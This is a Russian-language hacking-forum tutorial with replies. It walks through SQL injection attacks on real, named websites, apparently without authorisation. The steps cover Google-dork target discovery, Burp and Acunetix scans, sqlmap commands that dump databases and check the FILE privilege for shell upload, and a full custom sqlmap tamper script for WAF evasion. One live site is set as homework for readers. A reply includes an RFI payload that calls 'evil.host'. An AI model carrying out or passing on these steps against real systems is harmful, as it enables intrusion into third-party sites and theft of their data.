• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Практическая статья. Ломаем таргет

acc2ss

(L3) cache
Пользователь
Регистрация
26.08.2023
Сообщения
161
Реакции
222
Гарант сделки
2
Депозит
0.00
Автор: acc2ss
источник:
xss.pro

Приветствую всех читателей! Продолжая свои статьи на тему пентестинга я бы хотел написать что то практическое.
Сегодня мы: найдем таргет, проверим его на язвы, поработаем с burp, проведем простенький osint сайта, обойдем waf, напишем свой тампер для sqlmap, и, наконец, получим базу данных
Статья будет в немного необычном формате, и без сразу готовой информации: здесь вы увидите как и ошибки, неудачи, так и удачный взлом. Хочу что бы вы могли понять как происходит работа.

Начнем с поиска сайта. Для первого таргета возьмем сайт полегче, через гугл дорки. Введем запрос: inurl:details.php?ProdID= и получим список сайтов где в url есть details.php?ProdID= я приметил сайт http://eurovanparts.com/vehicle-sold-details.php?id= он и будет нашим первым таргетом.
После поиска стоит проверить обновляемость сайта, может это ненужная пустышка? Самый простой и быстрый способ - пролистать сайт в самый низ и посмотреть на копирайты. В нашем случае написано 2024 GoWesty. All Rights Reserved, это означает что сайт обновляли как минимум в этом году. Второй способ - проверить сайт в инструментах анализа, например similar web. Наш таргет там не был найден, но унывать не стоит.

Теперь к поиску возможных язв. Пробуем подставить ковычку в запрос. Увидим что ничего не произошло, это означает что вафки здесь скорее всего нет. Можем перейти в бюрп, что бы через intruder подставить пэйлоады. Подставлять мы их будем в id=
Возьмем стандартный лист пэйлоадов для sql и запустим атаку.
По окончанию атаки сортируем список по длине и видим явные различия:
1721549052396.png

Зайдем в любой, запомним что есть на странице и сравним с любым другим:
1721549093074.png
1721549099373.png

Как видите, ответы от сервера отличаются, следовательно уязвимость возможно здесь есть.
Для этого таргета я бы хотел показать вам инструмент agartha - это расширение для бюрпа, аналог sqlmap. Он генерирует пэйлоады для sql инъекций.
Для начала я бы хотел попробовать union based, наши настройки:
1721549369793.png

Проверка на union ничего не дала, но при проверке на boolean-Based выдало различия в длине результатов, будем держать это у себя в голове.
Так, инструментик я вам немного показал, возможно вернемся к нему позже, а сейчас перейдем к sqlmap.
Запустим sqlmap с самой обычной командой: python3 sqlmap.py -u "http://eurovanparts.com/vehicle-sold-details.php?id=10" --random-agent -v 3
1721580289663.png

Во время сканирования мы можем увидеть одну очень хорошую для нас вещь: ни один из запросов не был заблокирован, теперь мы убеждаемся что вафки здесь нет 100%.
По окончанию работы мы видим что никаких уязвимостей найдено не было, что может быть странным, ведь мы явно видели что ответ от сервера отличался:
1721580395073.png

И так, что мы имеем на данном этапе: 1. сайт не заброшен 2. На сайте нет WAF 3. sqlmap не может найти уязвимость.
Что мы можем сделать? 1. увеличить level и risk в sqlmap 2. искать другой параметр 3. просканировать сайт через инструменты по типу acunetix
Самое логично и простое - 1 вариант. Так и сделаем. К сожалению все так же ничего не показало, а значит мы можем переходить к другому варианту - сканирование через acunetix.
Для тех у кого его нет - обязательно поставьте. Если не можете поставить, то все действия вы можете проводить самостоятельно, но это муторно и долго, поэтому в статье я буду сканировать.
Так как на сайте нет waf, мы можем запустить сканирование на самой быстрой скорости. Для поиска выберем только критикалы:
1721581830952.png

Немного ждем, и видим прекрасный результат, целых 3 sql язвы:
1721581921234.png

Так же прошу обратить внимание на колонку confidence, у нас она 100%, а это значит что уязвимость точно есть. Из всех 3-х выберем любую, пусть это будет /ajax/get-option-pricing-new.php
И так, смотрим что именно нашел acunetix:
1721582189935.png

А нашел он time, это конечно не круто, но sqlmap может все исправить, и найти что-нибудь другое. На всякий случай мы можем перейти по ссылке с пэйлоадом, и убедится что уязвимость действительно есть. для time это долгая загрузка страницы(в зависимости от самого пэйлоада)
Теперь мы можем со спокойной душой отправлять все это дело в sqlmap. Будем использовать команду: python3 sqlmap.py -u "http://eurovanparts.com/ajax/get-option-pricing-new.php?option_ids[]=1&product_id=" --random-agent -v 3 -p option_ids[]
В этой команде стоит обратить внимание на -p option_ids[] здесь мы указываем какой именно параметр нужно проверять. Указывайте тот параметр, который вам показал acunetix. Запустим поиск.
Спустя буквально минуту мы видим положительный результат:
1721582698624.png

Что мы можем сразу понять? 1. используется Mysql 2. уязвимость действительно есть. Продолжим сканирование.
Отлично, уязвимость была подтверждена, и мы можем получать базу данных:
1721582812280.png

Для получения бд добавим параметр --dbs. Получение базы через time достаточно долгое, поэтому здесь придется чуть подождать.
1721583128464.png

Отлично, базу мы получили, еще и вместе с information_schema. Сразу бежим проверять нашего пользователя и его привилегии, для этого есть команда --curent-user --privileges
1721583615887.png

Привилегия только 1, но зато это file. С помощью него мы можем загрузить шелл на сервер, а это очень круто! С помощью него вы сможете залить шелл(это я разберу в следующих статьях).
И так, базу мы получили, было довольно легко, не так ли?

Перейдем ко второму таргету. Помните в начале статьи мы искали копирайты? В них был указан gowesty.com. Он и будет нашим вторым таргетом. ищем любой параметр, это будет search?q=123 не пугайтесь что здесь нет .php, это норма!
Здесь мы сразу попробуем найти оригинальный ip сервера. Я нашел 3 ip, и каждый из них вел на стандартную страницу apache. Разбираться какой из серверов нам нужен мы не будем, а лучше проверим есть ли на сайте waf. Для этого вставим любой пэйлоад в наш праметр, например ' или 1 or 7=7. Запрос не заблокировался, а данные на странице поменялись. Перейдем в бюрп и будем действовать так же как и с первым таргетом.
Видим что длина у ответов полностью разная, и ни один из запросов не был как либо остановлен:
1721588865420.png

На этом моменте можно поставить таргет на скан в acunetix с такими же настройками что и у прошлого.
Переходим в sqlmap и точно так же ставим искаться язву. По итогу ни acunetix, ни sqlmap мне ничего не дали. Этот таргет я бы хотел оставить вам как "Домашнее задание". Кто захочет потренироваться, вам нужно: провести осинт, найти уязвимый параметр(если он есть) и получить бд(в идеале). По любым вопросам вы можете обратиться ко мне. Скидывать какую либо информацию об этом таргете мне не нужно - это только для вас.
Если до следующей практической статьи никто так и не напишет мне что получил бд от этого таргета - мы его разберем.

И так, перейдем к другому таргету, теперь я поищу с waf. Это будет - https://corporateconnections.co.za/product-details.php?id=114
При подставлении ковычки в параметр мы можем увидеть ошибку:
1721589727740.png

кстати очень хорошо что мы видим расположение файла, ведь если мы получим права на чтение и запись файлов, то сможем подгрузить шелл.
Но если заменить пэйлоад на or 1=1, то получим 403:
1721589766613.png

Так, теперь мы знаем что здесь есть waf. Попробуем найти оригинальный ip сервера. Найти ip сервера который бы сразу открывал сайт я не смог. Значит будем пытаться обходить ваф.
Запустим sqlmap и посмотрим что блокируется:
1721590013388.png

И так, видим AND и = значит их мы и будем закрывать. Здесь может помочь тампер between. После использования тампера мы сразу нашли уязвимости:
1721590291513.png

Продолжим сканирование и увидим что waf продолжил блокировать запросы:
1721590402408.png

Возможные причины: Group by, CONCAT, SELECT, OR, HAVING прежде чем открывать спойлер, попробуйте подумать сами.
На этом моменте я бы хотел сделать кастомный тампер, который помог бы нам обойти ошибку.
Python:
import random

def tamper(payload, **kwargs):
    keywords = ["SELECT", "GROUP BY", "CONCAT", "HAVING", "RAND", "MIN"]
 
    for keyword in keywords:
        obfuscated_keyword = obfuscate_keyword(keyword)
        payload = payload.replace(keyword, obfuscated_keyword)
   
    return payload

def obfuscate_keyword(keyword):
    parts = list(keyword)
    obfuscated_keyword = ""
   
    for part in parts:
        obfuscated_keyword += part
        if random.random() > 0.5:
            obfuscated_keyword += "/*%s*/" % ''.join(random.choices("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", k=random.randint(1, 3)))
   
    return obfuscated_keyword
Здесь мы ищем ключевые слова и изменяем их.
Теперь наши запросы не блокируются:
1721590939658.png

И так, ваф мы обошли, но к сожалению таргет блокирует ip. Денег на лишние прокси у меня нет, поэтому данный таргет мы доведем до конца в следующей статье.

И так, подведем итоги статьи. Сегодня мы:
1. Получили бд таргета, узнали юзера, узнали его привилегии
2. Поработали с burp
3. Поработали с acunetix
4. Провели небольшой осинт(я не хотел много про него делать, т.к в одной из статей полностью его разобрал)
5. Написали кастомный тампер
6. Обошли ваф, но я обосрался с проксями, моя вина, извините :)

Как вам такой формат статьи? Фактически получилось как полноценный урок, где были и ошибки и "победы". Я считаю что в статьях нужно показывать полную работу, а не тыкните сюда и у вас все получится, где на самом деле автор тратил по полтора часа что бы разобраться куда именно тыкнуть)
Спасибо всем кто прочитал статью до конца, надеюсь она будет для вас полезна.
Если у вас есть какие либо вопросы касающиеся пентестинга - смело пишите в теме/лс форума/tox Отвечу всем по мере возможности.
И еще хотелось бы узнать, статьи на какую тему вы бы хотели увидеть? может быть вторая часть про waf или osint?
Поддержать автора:
USDT trc(20) TNjxY6W1buZWP47WFi8BMXKhKaUr4U5hTi
BTC bc1qnhu6nfawzx9crfr3vvr65zrjdjrz3et7qajd4e
 
Последнее редактирование модератором:
Годнота, побольше бы таких статей с реальными примерами
Ждем продолжение и статью по реверс шеллу) Очень хороший формат
 
Годнота, побольше бы таких статей с реальными примерами
Ждем продолжение и статью по реверс шеллу) Очень хороший формат
Спасибо :)
Продолжение обязательно будет, вижу что людям нравится эта тема
 
спасибо! самый любимый формат - это практический!

Спасибо :)
Продолжение обязательно будет, вижу что людям нравится эта тема
не просто нравится, а бесценно и шикарно! это же case study, один из самых продуктивных! пиши побольше плиз!
 
Заметил что SQLmap и SQLi рабираются повсеместно, а такие атаки как LFI/RFI и IDOR не так раскрываются часто, а в них тоже много вкусного!
И есть ли тул типа SQLmap для LFI например?
Через параметры ведь всяко бывает, не только SQLi могут вылезти но и другие интересные уязвимости.

У меня "глупые вопросы":
1. По сути же SQLmap в простейшем виде (без тампера) перебирает payload'ы для параметра(ов)? то же самое можно наверное делать фаззером типа ffuf с вордлистом от SQLmap?
2. Если на backend используются prepared statements повсеместно то "всё, приехали"? или есть варианты какие хитрые?
3. Заметил, что SQLi характерны для самописных сайтов сплошь и рядом, тогда как сайты на основе фреймворков или CMS последних версий менее уязвимы - это так? то есть баги вносятся таки "(недо)кастомизаторами" сайтов с кривыми руками (ну там конкатенация строк например - явный признак SQLi , если в коде смотреть), а "из коробки" сайт менее уязвим?
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Заметил что SQLmap и SQLi рабираются повсеместно, а такие атаки как LFI/RFI и IDOR не так раскрываются часто, а в них тоже много вкусного!
И есть ли тул типа SQLmap для LFI например?
Через параметры ведь всяко бывает, не только SQLi могут вылезти но и другие интересные уязвимости.

У меня "глупые вопросы":
1. По сути же SQLmap в простейшем виде (без тампера) перебирает payload'ы для параметра(ов)? то же самое можно наверное делать фаззером типа ffuf с вордлистом от SQLmap?
2. Если на backend используются prepared statements повсеместно то "всё, приехали"? или есть варианты какие хитрые?
3. Заметил, что SQLi характерны для самописных сайтов сплошь и рядом, тогда как сайты на основе фреймворков или CMS последних версий менее уязвимы - это так? то есть баги вносятся таки "(недо)кастомизаторами" сайтов с кривыми руками (ну там конкатенация строк например - явный признак SQLi , если в коде смотреть), а "из коробки" сайт менее уязвим?
Для lfi насколько я помню есть тулзы, вбей на гите что-то типа "LFI checker", "LfI finder" и т.д
По поводу RFI навряд-ли такие сканеры есть, тк сама уязвимость почти не встречается, да и сканер для ее теста не нужен, как правило параметры которые потенциально могут быть узязвимы к RFI выглядят примерно так: "http://vulnerable.host/api.php?path=http://evil.host/t/vzlom_zjopi.php"

а sqlmap не просто перебирает пэйлоады по списку, но и соблюдает прописанные условия. Если бд = mssql, то пейлоады для mssql, если работают только time-based пейлоады, то использовать только time-based, ну а дальше уже перебор симоволов по ascii и тд. Кстати говоря есть такой инструмент Ghauri, много раз выручал когда sqlmap ничего не мог подцепить. Минус только в том что нету ни тамперов, ни --hex, ни --no-cast, ни --count, и даже union-based не поддреживает, но остальные виды детектит хорошо. Так же он в отличии от sqlmap анализируя ответы сервера сам тамперит пейлоады:)
 
Привилегия только 1, но зато это file. С помощью него мы можем загрузить шелл на сервер, а это очень круто! С помощью него вы сможете залить шелл(это я разберу в следующих статьях).
И так, базу мы получили, было довольно легко, не так ли?
+++ ЖДу продолжения этого момента))) Удачи, молодец!
 
Заметил что SQLmap и SQLi рабираются повсеместно, а такие атаки как LFI/RFI и IDOR не так раскрываются часто, а в них тоже много вкусного!
И есть ли тул типа SQLmap для LFI например?
Через параметры ведь всяко бывает, не только SQLi могут вылезти но и другие интересные уязвимости.

У меня "глупые вопросы":
1. По сути же SQLmap в простейшем виде (без тампера) перебирает payload'ы для параметра(ов)? то же самое можно наверное делать фаззером типа ffuf с вордлистом от SQLmap?
2. Если на backend используются prepared statements повсеместно то "всё, приехали"? или есть варианты какие хитрые?
3. Заметил, что SQLi характерны для самописных сайтов сплошь и рядом, тогда как сайты на основе фреймворков или CMS последних версий менее уязвимы - это так? то есть баги вносятся таки "(недо)кастомизаторами" сайтов с кривыми руками (ну там конкатенация строк например - явный признак SQLi , если в коде смотреть), а "из коробки" сайт менее уязвим?
Да sqlmap побольшому счёту фаззер
Даже тот же Окунь, под копотом имеет крулер(собирает ссылки) и фаззер(суёт по этим ссылкам пейлоады)

 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх